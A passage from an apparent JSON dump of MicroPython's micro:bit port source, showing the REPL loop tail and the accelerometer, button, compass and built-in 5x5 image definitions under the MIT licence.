mp_import_all(mp_import_name(MP_QSTR_microbit, mp_const_empty_tuple, MP_OBJ_NEW_SMALL_INT(0)));\n            }\n        }\n\n        // Run the REPL until the user wants to exit\n        for (;;) {\n            if (pyexec_mode_kind == PYEXEC_MODE_RAW_REPL) {\n                if (pyexec_raw_repl() != 0) {\n                    break;\n                }\n            } else {\n                if (pyexec_friendly_repl() != 0) {\n                    break;\n                }\n            }\n        }\n\n        // Print the special string for pyboard.py to detect the soft reset\n        mp_hal_stdout_tx_str(\"soft reboot\\r\\n\");\n\n        // Stop the ticker to prevent any background tasks from running\n        ticker_stop();\n\n        // Reset state associated with background tasks\n        memset(&MP_STATE_PORT(async_data)[0], 0, sizeof(MP_STATE_PORT(async_data)));\n        MP_STATE_PORT(audio_buffer) = NULL;\n        MP_STATE_PORT(music_data) = NULL;\n    }\n}\n\nmp_import_stat_t mp_import_stat(const char *path) {\n    if (microbit_find_file(path, strlen(path)) != FILE_NOT_FOUND) {\n        return MP_IMPORT_STAT_FILE;\n    }\n    return MP_IMPORT_STAT_NO_EXIST;\n}\n\nNORETURN void nlr_jump_fail(void *val) {\n    (void)val;\n    for (;;) {\n    }\n}\n\n// We need to override this function so that the linker does not pull in\n// unnecessary code and static RAM usage for unused system exit functionality.\n// There can be large static data structures to store the exit functions.\nvoid __register_exitproc() {\n}\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/microbitaccelerometer.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"microbit/microbitdal.h\"\n\nextern \"C\" {\n\n#include \"py/runtime.h\"\n#include \"microbit/modmicrobit.h\"\n\ntypedef struct _microbit_accelerometer_obj_t {\n    mp_obj_base_t base;\n} microbit_accelerometer_obj_t;\n\nvolatile bool accelerometer_up_to_date = false;\nvolatile bool accelerometer_updating = false;\n\n#define GESTURE_LIST_SIZE (8)\n\n// We store this state globally instead of in a microbit_accelerometer_obj_t\n// struct so that that whole struct does not need to go in RAM.\nvolatile uint16_t gesture_state = 0;                    // 1 bit per gesture\nvolatile uint8_t gesture_list_cur = 0;                  // index into gesture_list\nvolatile uint8_t gesture_list[GESTURE_LIST_SIZE] = {0}; // list of pending gestures, 4-bits per element\n\nstatic void update(microbit_accelerometer_obj_t *self) {\n    /* The only time it is possible for accelerometer_updating to be true here\n     * is if this is called in an interrupt when it is already updating in\n     * the main execution thread. This is extremely unlikely, so we just\n     * accept that a slightly out-of-date result will be returned\n     */\n    (void)self;\n    if (!accelerometer_up_to_date && !accelerometer_updating) {\n        accelerometer_up_to_date = true;\n        accelerometer_updating = true;\n        ubit_accelerometer->idleTick();\n        accelerometer_updating = false;\n    }\n}\n\nvoid microbit_accelerometer_event_handler(const MicroBitEvent *evt) {\n    if (evt->value > MICROBIT_ACCELEROMETER_EVT_NONE && evt->value <= MICROBIT_ACCELEROMETER_EVT_SHAKE) {\n        gesture_state |= 1 << evt->value;\n        if (gesture_list_cur < 2 * GESTURE_LIST_SIZE) {\n            uint8_t entry = gesture_list[gesture_list_cur >> 1];\n            if (gesture_list_cur & 1) {\n                entry = (entry & 0x0f) | evt->value << 4;\n            } else {\n                entry = (entry & 0xf0) | evt->value;\n            }\n            gesture_list[gesture_list_cur >> 1] = entry;\n            ++gesture_list_cur;\n        }\n    }\n}\n\nmp_obj_t microbit_accelerometer_get_x(mp_obj_t self_in) {\n    (void)self_in;\n    return mp_obj_new_int(ubit_accelerometer->getX());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_get_x_obj, microbit_accelerometer_get_x);\n\nmp_obj_t microbit_accelerometer_get_y(mp_obj_t self_in) {\n    (void)self_in;\n    return mp_obj_new_int(ubit_accelerometer->getY());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_get_y_obj, microbit_accelerometer_get_y);\n\nmp_obj_t microbit_accelerometer_get_z(mp_obj_t self_in) {\n    (void)self_in;\n    return mp_obj_new_int(ubit_accelerometer->getZ());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_get_z_obj, microbit_accelerometer_get_z);\n\nmp_obj_t microbit_accelerometer_get_values(mp_obj_t self_in) {\n    (void)self_in;\n    mp_obj_tuple_t *tuple = (mp_obj_tuple_t *)mp_obj_new_tuple(3, NULL);\n    Sample3D sample = ubit_accelerometer->getSample();\n    tuple->items[0] = mp_obj_new_int(sample.x);\n    tuple->items[1] = mp_obj_new_int(sample.y);\n    tuple->items[2] = mp_obj_new_int(sample.z);\n    return tuple;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_get_values_obj, microbit_accelerometer_get_values);\n\nSTATIC const qstr gesture_name_map[] = {\n    [MICROBIT_ACCELEROMETER_EVT_NONE] = MP_QSTR_NULL,\n    [MICROBIT_ACCELEROMETER_EVT_TILT_UP] = MP_QSTR_up,\n    [MICROBIT_ACCELEROMETER_EVT_TILT_DOWN] = MP_QSTR_down,\n    [MICROBIT_ACCELEROMETER_EVT_TILT_LEFT] = MP_QSTR_left,\n    [MICROBIT_ACCELEROMETER_EVT_TILT_RIGHT] = MP_QSTR_right,\n    [MICROBIT_ACCELEROMETER_EVT_FACE_UP] = MP_QSTR_face_space_up,\n    [MICROBIT_ACCELEROMETER_EVT_FACE_DOWN] = MP_QSTR_face_space_down,\n    [MICROBIT_ACCELEROMETER_EVT_FREEFALL] = MP_QSTR_freefall,\n    [MICROBIT_ACCELEROMETER_EVT_3G] = MP_QSTR_3g,\n    [MICROBIT_ACCELEROMETER_EVT_6G] = MP_QSTR_6g,\n    [MICROBIT_ACCELEROMETER_EVT_8G] = MP_QSTR_8g,\n    [MICROBIT_ACCELEROMETER_EVT_SHAKE] = MP_QSTR_shake,\n};\n\nSTATIC uint32_t gesture_from_obj(mp_obj_t gesture_in) {\n    qstr gesture = mp_obj_str_get_qstr(gesture_in);\n    for (uint i = 0; i < MP_ARRAY_SIZE(gesture_name_map); ++i) {\n        if (gesture == gesture_name_map[i]) {\n            return i;\n        }\n    }\n    mp_raise_ValueError(\"invalid gesture\");\n}\n\nmp_obj_t microbit_accelerometer_current_gesture(mp_obj_t self_in) {\n    microbit_accelerometer_obj_t *self = (microbit_accelerometer_obj_t*)self_in;\n    update(self);\n    return MP_OBJ_NEW_QSTR(gesture_name_map[ubit_accelerometer->getGesture()]);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_current_gesture_obj, microbit_accelerometer_current_gesture);\n\nmp_obj_t microbit_accelerometer_is_gesture(mp_obj_t self_in, mp_obj_t gesture_in) {\n    microbit_accelerometer_obj_t *self = (microbit_accelerometer_obj_t*)self_in;\n    uint32_t gesture = gesture_from_obj(gesture_in);\n    update(self);\n    return mp_obj_new_bool(ubit_accelerometer->getGesture() == gesture);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_accelerometer_is_gesture_obj, microbit_accelerometer_is_gesture);\n\nmp_obj_t microbit_accelerometer_was_gesture(mp_obj_t self_in, mp_obj_t gesture_in) {\n    microbit_accelerometer_obj_t *self = (microbit_accelerometer_obj_t*)self_in;\n    uint32_t gesture = gesture_from_obj(gesture_in);\n    update(self);\n    mp_obj_t result = mp_obj_new_bool(gesture_state & (1 << gesture));\n    gesture_state &= (~(1 << gesture));\n    gesture_list_cur = 0;\n    return result;\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_accelerometer_was_gesture_obj, microbit_accelerometer_was_gesture);\n\nmp_obj_t microbit_accelerometer_get_gestures(mp_obj_t self_in) {\n    microbit_accelerometer_obj_t *self = (microbit_accelerometer_obj_t*)self_in;\n    update(self);\n    if (gesture_list_cur == 0) {\n        return mp_const_empty_tuple;\n    }\n    mp_obj_tuple_t *o = (mp_obj_tuple_t*)mp_obj_new_tuple(gesture_list_cur, NULL);\n    for (uint i = 0; i < gesture_list_cur; ++i) {\n        uint gesture = (gesture_list[i >> 1] >> (4 * (i & 1))) & 0x0f;\n        o->items[i] = MP_OBJ_NEW_QSTR(gesture_name_map[gesture]);\n    }\n    gesture_list_cur = 0;\n    return o;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_get_gestures_obj, microbit_accelerometer_get_gestures);\n\nSTATIC const mp_map_elem_t microbit_accelerometer_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_x), (mp_obj_t)&microbit_accelerometer_get_x_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_y), (mp_obj_t)&microbit_accelerometer_get_y_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_z), (mp_obj_t)&microbit_accelerometer_get_z_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_values), (mp_obj_t)&microbit_accelerometer_get_values_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_current_gesture), (mp_obj_t)&microbit_accelerometer_current_gesture_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_is_gesture), (mp_obj_t)&microbit_accelerometer_is_gesture_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_was_gesture), (mp_obj_t)&microbit_accelerometer_was_gesture_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_gestures), (mp_obj_t)&microbit_accelerometer_get_gestures_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_accelerometer_locals_dict, microbit_accelerometer_locals_dict_table);\n\nconst mp_obj_type_t microbit_accelerometer_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitAccelerometer,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_accelerometer_locals_dict,\n};\n\nconst microbit_accelerometer_obj_t microbit_accelerometer_obj = {\n    {&microbit_accelerometer_type},\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/microbitbutton.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\nextern \"C\" {\n\n#include \"nrf_gpio.h\"\n#include \"py/runtime.h\"\n#include \"microbit/modmicrobit.h\"\n\ntypedef struct _microbit_button_obj_t {\n    mp_obj_base_t base;\n    const microbit_pin_obj_t *pin;\n    uint8_t index;\n} microbit_button_obj_t;\n\n/* Stores pressed count in top 31 bits and was_pressed in the low bit */\nstatic mp_uint_t pressed[2];\nstatic int8_t sigmas[8] = { 5, 5, 5, 5, 5, 5, 5, 5 };\nstatic bool debounced_high[8] = { true, true, true, true, true, true, true, true };\n\nmp_obj_t microbit_button_is_pressed(mp_obj_t self_in) {\n    microbit_button_obj_t *self = (microbit_button_obj_t*)self_in;\n    /* Button is pressed if pin is low */\n    return mp_obj_new_bool(!debounced_high[self->pin->number&7]);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_button_is_pressed_obj, microbit_button_is_pressed);\n\n\nmp_obj_t microbit_button_get_presses(mp_obj_t self_in) {\n    microbit_button_obj_t *self = (microbit_button_obj_t*)self_in;\n    mp_obj_t n_presses = mp_obj_new_int(pressed[self->index] >> 1);\n    pressed[self->index] &= 1;\n    return n_presses;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_button_get_presses_obj, microbit_button_get_presses);\n\nmp_obj_t microbit_button_was_pressed(mp_obj_t self_in) {\n    microbit_button_obj_t *self = (microbit_button_obj_t*)self_in;\n    mp_int_t presses = pressed[self->index];\n    mp_obj_t result = mp_obj_new_bool(presses & 1);\n    pressed[self->index] = presses & -2;\n    return result;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_button_was_pressed_obj, microbit_button_was_pressed);\n\nSTATIC const mp_map_elem_t microbit_button_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_is_pressed), (mp_obj_t)&microbit_button_is_pressed_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_was_pressed), (mp_obj_t)&microbit_button_was_pressed_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_presses), (mp_obj_t)&microbit_button_get_presses_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_button_locals_dict, microbit_button_locals_dict_table);\n\nSTATIC const mp_obj_type_t microbit_button_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitButton,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_button_locals_dict,\n};\n\nconst microbit_button_obj_t microbit_button_a_obj = {\n    {&microbit_button_type},\n    .pin = &microbit_p5_obj,\n    .index = 0,\n};\n\nconst microbit_button_obj_t microbit_button_b_obj = {\n    {&microbit_button_type},\n    .pin = &microbit_p11_obj,\n    .index = 1,\n};\n\nenum PinTransition\n{\n    LOW_LOW = 0,\n    LOW_HIGH = 1,\n    HIGH_LOW = 2,\n    HIGH_HIGH = 3\n};\n\nstatic PinTransition update(const microbit_pin_obj_t *pin) {\n    int32_t sigma = sigmas[pin->number&7];\n    PinTransition result;\n    if (nrf_gpio_pin_read(pin->name))\n        sigma++;\n    else\n        sigma--;\n    if (sigma < 3) {\n        if (sigma < 0) {\n            sigma = 0;\n            result = LOW_LOW;\n        } else if (debounced_high[pin->number&7]) {\n            result = HIGH_LOW;\n            debounced_high[pin->number&7] = false;\n        } else {\n            result = LOW_LOW;\n        }\n    } else if (sigma > 7) {\n        if (sigma > 12) {\n            sigma = 12;\n            result = HIGH_HIGH;\n        } else if (debounced_high[pin->number&7]) {\n            result = HIGH_HIGH;\n        } else {\n            result = LOW_HIGH;\n            debounced_high[pin->number&7] = true;\n        }\n    } else if (debounced_high[pin->number&7]) {\n        result = HIGH_HIGH;\n    } else {\n        result = LOW_LOW;\n    }\n    sigmas[pin->number&7] = sigma;\n    return result;\n}\n\nvoid microbit_button_tick(void) {\n    // Update both buttons and the touch pins.\n    // Button is pressed when its pin transfers from HIGH to LOW.\n    if (update(microbit_button_a_obj.pin) == HIGH_LOW)\n        pressed[microbit_button_a_obj.index] = (pressed[microbit_button_a_obj.index] + 2) | 1;\n    if (update(microbit_button_b_obj.pin) == HIGH_LOW)\n        pressed[microbit_button_b_obj.index] = (pressed[microbit_button_b_obj.index] + 2) | 1;\n    if (microbit_pin_get_mode(&microbit_p0_obj) == microbit_pin_mode_touch)\n        update(&microbit_p0_obj);\n    if (microbit_pin_get_mode(&microbit_p1_obj) == microbit_pin_mode_touch)\n        update(&microbit_p1_obj);\n    if (microbit_pin_get_mode(&microbit_p2_obj) == microbit_pin_mode_touch)\n        update(&microbit_p2_obj);\n}\n\nbool microbit_pin_high_debounced(microbit_pin_obj_t *pin) {\n    return debounced_high[pin->number&7];\n}\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/microbitcompass.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"microbit/memory.h\"\n#include \"microbit/microbitdal.h\"\n\nextern \"C\" {\n\n#include \"py/runtime.h\"\n#include \"lib/ticker.h\"\n#include \"microbit/modmicrobit.h\"\n\n#define COMPASS_CALIBRATION_MAGIC (0xc011ba55)\n\ntypedef struct _microbit_compass_obj_t {\n    mp_obj_base_t base;\n} microbit_compass_obj_t;\n\nvoid microbit_compass_init(void) {\n    // load any peristent calibration data if it exists\n    uint32_t *persist = (uint32_t*)microbit_compass_calibration_page();\n    if (persist[0] == COMPASS_CALIBRATION_MAGIC) {\n        CompassCalibration calib;\n        calib.centre = {(int)persist[1], (int)persist[2], (int)persist[3]};\n        calib.scale = {(int)persist[4], (int)persist[5], (int)persist[6]};\n        calib.radius = (int)persist[7];\n        ubit_compass->setCalibration(calib);\n    }\n}\n\nmp_obj_t microbit_compass_is_calibrated(mp_obj_t self_in) {\n    (void)self_in;\n    return mp_obj_new_bool(ubit_compass->isCalibrated());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_is_calibrated_obj, microbit_compass_is_calibrated);\n\nmp_obj_t microbit_compass_calibrate(mp_obj_t self_in) {\n    // Calibration requires to pass control over to the DAL so it\n    // can use the display to collect samples for the calibration.\n    // It will do the calibration and then return here.\n    (void)self_in;\n    ticker_stop();\n    //uBit.systemTicker.attach_us(&uBit, &MicroBit::systemTick, MICROBIT_DEFAULT_TICK_PERIOD * 1000); TODO what to replace with?\n    ubit_display.enable();\n    ubit_compass->calibrate();\n    ubit_display.disable();\n    //uBit.systemTicker.detach(); TODO what to replace with?\n    ticker_start();\n    microbit_display_init();\n\n    // store the calibration data\n    uint32_t *persist = (uint32_t*)microbit_compass_calibration_page();\n    CompassCalibration calib = ubit_compass->getCalibration();\n    uint32_t data[8] = {\n        COMPASS_CALIBRATION_MAGIC,\n        (uint32_t)calib.centre.x, (uint32_t)calib.centre.y, (uint32_t)calib.centre.z,\n        (uint32_t)calib.scale.x, (uint32_t)calib.scale.y, (uint32_t)calib.scale.z,\n        (uint32_t)calib.radius,\n    };\n    persistent_erase_page(persist);\n    persistent_write_unchecked(persist, data, sizeof(data));\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_calibrate_obj, microbit_compass_calibrate);\n\nmp_obj_t microbit_compass_clear_calibration(mp_obj_t self_in) {\n    (void)self_in;\n    ubit_compass->clearCalibration();\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_clear_calibration_obj, microbit_compass_clear_calibration);\n\nvolatile bool compass_up_to_date = false;\nvolatile bool compass_updating = false;\n\nstatic void update(microbit_compass_obj_t *self) {\n    /* The only time it is possible for compass_updating to be true here\n     * is if this is called in an interrupt when it is already updating in\n     * the main execution thread. This is extremely unlikely, so we just\n     * accept that a slightly out-of-date result will be returned\n     */\n    (void)self;\n    if (!compass_up_to_date && !compass_updating) {\n        compass_updating = true;\n        ubit_compass->idleTick();\n        compass_updating = false;\n        compass_up_to_date = true;\n    }\n}\n\nmp_obj_t microbit_compass_heading(mp_obj_t self_in) {\n    microbit_compass_obj_t *self = (microbit_compass_obj_t*)self_in;\n    // Upon calling heading(), the DAL will automatically calibrate the compass\n    // if it's not already calibrated.  Since we need to first enable the display\n    // for calibration to work, we must check for non-calibration here and call\n    // our own calibration function.\n    if (!ubit_compass->isCalibrated()) {\n        microbit_compass_calibrate(self_in);\n    }\n    update(self);\n    return mp_obj_new_int(ubit_compass->heading());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_heading_obj, microbit_compass_heading);\n\nmp_obj_t microbit_compass_get_x(mp_obj_t self_in) {\n    (void)self_in;\n    return mp_obj_new_int(ubit_compass->getX());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_get_x_obj, microbit_compass_get_x);\n\nmp_obj_t microbit_compass_get_y(mp_obj_t self_in) {\n    (void)self_in;\n    return mp_obj_new_int(ubit_compass->getY());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_get_y_obj, microbit_compass_get_y);\n\nmp_obj_t microbit_compass_get_z(mp_obj_t self_in) {\n    (void)self_in;\n    return mp_obj_new_int(ubit_compass->getZ());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_get_z_obj, microbit_compass_get_z);\n\nmp_obj_t microbit_compass_get_field_strength(mp_obj_t self_in) {\n    (void)self_in;\n    return mp_obj_new_int(ubit_compass->getFieldStrength());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_get_field_strength_obj, microbit_compass_get_field_strength);\n\nSTATIC const mp_map_elem_t microbit_compass_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_heading), (mp_obj_t)&microbit_compass_heading_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_is_calibrated), (mp_obj_t)&microbit_compass_is_calibrated_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_calibrate), (mp_obj_t)&microbit_compass_calibrate_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_clear_calibration), (mp_obj_t)&microbit_compass_clear_calibration_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_x), (mp_obj_t)&microbit_compass_get_x_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_y), (mp_obj_t)&microbit_compass_get_y_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_z), (mp_obj_t)&microbit_compass_get_z_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_field_strength), (mp_obj_t)&microbit_compass_get_field_strength_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_compass_locals_dict, microbit_compass_locals_dict_table);\n\nSTATIC const mp_obj_type_t microbit_compass_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitCompass,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_compass_locals_dict,\n};\n\nconst microbit_compass_obj_t microbit_compass_obj = {\n    {&microbit_compass_type},\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/microbitconstimage.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\nextern \"C\" {\n\n#include \"py/runtime.h\"\n#include \"microbit/modmicrobit.h\"\n#include \"microbit/microbit_image.h\"\n\n#define IMAGE_T const monochrome_5by5_t\n\nIMAGE_T microbit_const_image_heart_obj = SMALL_IMAGE(\n    0,1,0,1,0,\n    1,1,1,1,1,\n    1,1,1,1,1,\n    0,1,1,1,0,\n    0,0,1,0,0\n);\n\nIMAGE_T microbit_const_image_heart_small_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,1,0,1,0,\n    0,1,1,1,0,\n    0,0,1,0,0,\n    0,0,0,0,0\n);\n\n// smilies\n\nIMAGE_T microbit_const_image_happy_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,1,0,1,0,\n    0,0,0,0,0,\n    1,0,0,0,1,\n    0,1,1,1,0\n);\n\nIMAGE_T microbit_const_image_smile_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,0,0,0,\n    0,0,0,0,0,\n    1,0,0,0,1,\n    0,1,1,1,0\n);\n\nIMAGE_T microbit_const_image_sad_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,1,0,1,0,\n    0,0,0,0,0,\n    0,1,1,1,0,\n    1,0,0,0,1\n);\n\nIMAGE_T microbit_const_image_confused_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,1,0,1,0,\n    0,0,0,0,0,\n    0,1,0,1,0,\n    1,0,1,0,1\n);\n\nIMAGE_T microbit_const_image_angry_obj = SMALL_IMAGE(\n    1,0,0,0,1,\n    0,1,0,1,0,\n    0,0,0,0,0,\n    1,1,1,1,1,\n    1,0,1,0,1\n);\n\nIMAGE_T microbit_const_image_asleep_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    1,1,0,1,1,\n    0,0,0,0,0,\n    0,1,1,1,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_surprised_obj = SMALL_IMAGE(\n    0,1,0,1,0,\n    0,0,0,0,0,\n    0,0,1,0,0,\n    0,1,0,1,0,\n    0,0,1,0,0\n);\n\nIMAGE_T microbit_const_image_silly_obj = SMALL_IMAGE(\n    1,0,0,0,1,\n    0,0,0,0,0,\n    1,1,1,1,1,\n    0,0,1,0,1,\n    0,0,1,1,1\n);\n\nIMAGE_T microbit_const_image_fabulous_obj = SMALL_IMAGE(\n    1,1,1,1,1,\n    1,1,0,1,1,\n    0,0,0,0,0,\n    0,1,0,1,0,\n    0,1,1,1,0\n);\n\nIMAGE_T microbit_const_image_meh_obj = SMALL_IMAGE(\n    0,1,0,1,0,\n    0,0,0,0,0,\n    0,0,0,1,0,\n    0,0,1,0,0,\n    0,1,0,0,0\n);\n\n// yes/no\n\nIMAGE_T microbit_const_image_yes_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,0,0,1,\n    0,0,0,1,0,\n    1,0,1,0,0,\n    0,1,0,0,0\n);\n\nIMAGE_T microbit_const_image_no_obj = SMALL_IMAGE(\n    1,0,0,0,1,\n    0,1,0,1,0,\n    0,0,1,0,0,\n    0,1,0,1,0,\n    1,0,0,0,1\n);\n\n// clock hands\n\nIMAGE_T microbit_const_image_clock12_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,0,1,0,0,\n    0,0,1,0,0,\n    0,0,0,0,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_clock1_obj = SMALL_IMAGE(\n    0,0,0,1,0,\n    0,0,0,1,0,\n    0,0,1,0,0,\n    0,0,0,0,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_clock2_obj = SMALL_IMAGE(\n    